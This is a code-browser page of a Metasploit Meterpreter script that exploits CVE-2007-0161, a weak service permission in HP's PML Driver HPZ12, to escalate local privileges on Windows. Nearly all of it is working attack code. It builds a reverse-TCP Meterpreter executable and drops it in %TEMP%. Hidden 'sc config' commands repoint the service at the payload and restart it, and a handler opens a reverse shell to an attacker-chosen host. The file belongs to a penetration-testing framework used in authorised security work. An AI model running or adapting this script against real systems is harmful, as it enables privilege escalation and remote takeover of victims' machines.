root / scripts / meterpreter / pml_driver_config.rb @ master
History | View | Annotate | Download (3.2 kB)
| 1 |
# $Id$
|
|---|---|
| 2 |
# $Revision$
|
| 3 |
##
|
| 4 |
# This file is part of the Metasploit Framework and may be subject to
|
| 5 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 6 |
# Framework web site for more information on licensing and terms of use.
|
| 7 |
# http://metasploit.com/framework/
|
| 8 |
##
|
| 9 |
|
| 10 |
##
|
| 11 |
# HP Multiple Products PML Driver HPZ12 Local Privilege Escalation.
|
| 12 |
#
|
| 13 |
# This module exploits a privilege escalation vulnerability in
|
| 14 |
# Hewlett-Packard's PML Driver HPZ12. Due to an insecure
|
| 15 |
# SERVICE_CHANGE_CONFIG DACL permission, a local attacker can
|
| 16 |
# gain elevated privileges.
|
| 17 |
#
|
| 18 |
# BID - 21935
|
| 19 |
# CVE - 2007-0161
|
| 20 |
# mc[@]metasploit.com
|
| 21 |
##
|
| 22 |
|
| 23 |
#
|
| 24 |
# Options
|
| 25 |
#
|
| 26 |
opts = Rex::Parser::Arguments.new( |
| 27 |
"-h" => [ false, "This help menu"], |
| 28 |
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], |
| 29 |
"-p" => [ true, "The port on the remote host where Metasploit is listening"] |
| 30 |
) |
| 31 |
|
| 32 |
#
|
| 33 |
# Default parameters
|
| 34 |
#
|
| 35 |
|
| 36 |
rhost = Rex::Socket.source_address("1.2.3.4") |
| 37 |
rport = 4444
|
| 38 |
|
| 39 |
#
|
| 40 |
# Option parsing
|
| 41 |
#
|
| 42 |
opts.parse(args) do |opt, idx, val|
|
| 43 |
case opt
|
| 44 |
when "-h" |
| 45 |
print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.")
|
| 46 |
print_line(opts.usage) |
| 47 |
raise Rex::Script::Completed |
| 48 |
when "-r" |
| 49 |
rhost = val |
| 50 |
when "-p" |
| 51 |
rport = val.to_i |
| 52 |
end
|
| 53 |
end
|
| 54 |
if client.platform =~ /win32|win64/ |
| 55 |
client.sys.process.get_processes().each do |m|
|
| 56 |
if ( m['name'] =~ /HPZipm12\.exe/ ) |
| 57 |
|
| 58 |
print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.")
|
| 59 |
|
| 60 |
# Build out the exe payload.
|
| 61 |
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
|
| 62 |
pay.datastore['LHOST'] = rhost
|
| 63 |
pay.datastore['LPORT'] = rport
|
| 64 |
raw = pay.generate |
| 65 |
|
| 66 |
exe = Msf::Util::EXE.to_win32pe(client.framework, raw) |
| 67 |
|
| 68 |
# Place our newly created exe in %TEMP%
|
| 69 |
tempdir = client.fs.file.expand_path("%TEMP%")
|
| 70 |
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" |
| 71 |
print_status("Sending EXE payload '#{tempexe}'.")
|
| 72 |
fd = client.fs.file.new(tempexe, "wb")
|
| 73 |
fd.write(exe) |
| 74 |
fd.close |
| 75 |
|
| 76 |
print_status("Stopping service \"Pml Driver HPZ12\"...")
|
| 77 |
client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) |
| 78 |
|
| 79 |
print_status("Setting Pml Driver to #{tempexe}...")
|
| 80 |
client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) |
| 81 |
sleep(1)
|
| 82 |
print_status("Restarting the \"Pml Driver HPZ12\" service...")
|
| 83 |
client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) |
| 84 |
|
| 85 |
# Our handler to recieve the callback.
|
| 86 |
handler = client.framework.exploits.create("multi/handler")
|
| 87 |
handler.datastore['WORKSPACE'] = client.workspace
|
| 88 |
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" |
| 89 |
handler.datastore['LHOST'] = rhost
|
| 90 |
handler.datastore['LPORT'] = rport
|
| 91 |
handler.datastore['ExitOnSession'] = false |
| 92 |
|
| 93 |
handler.exploit_simple( |
| 94 |
'Payload' => handler.datastore['PAYLOAD'], |
| 95 |
'RunAsJob' => true |
| 96 |
) |
| 97 |
|
| 98 |
client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'}) |
| 99 |
|
| 100 |
end
|
| 101 |
end
|
| 102 |
else
|
| 103 |
print_error("This version of Meterpreter is not supported with this Script!")
|
| 104 |
raise Rex::Script::Completed |
| 105 |
end
|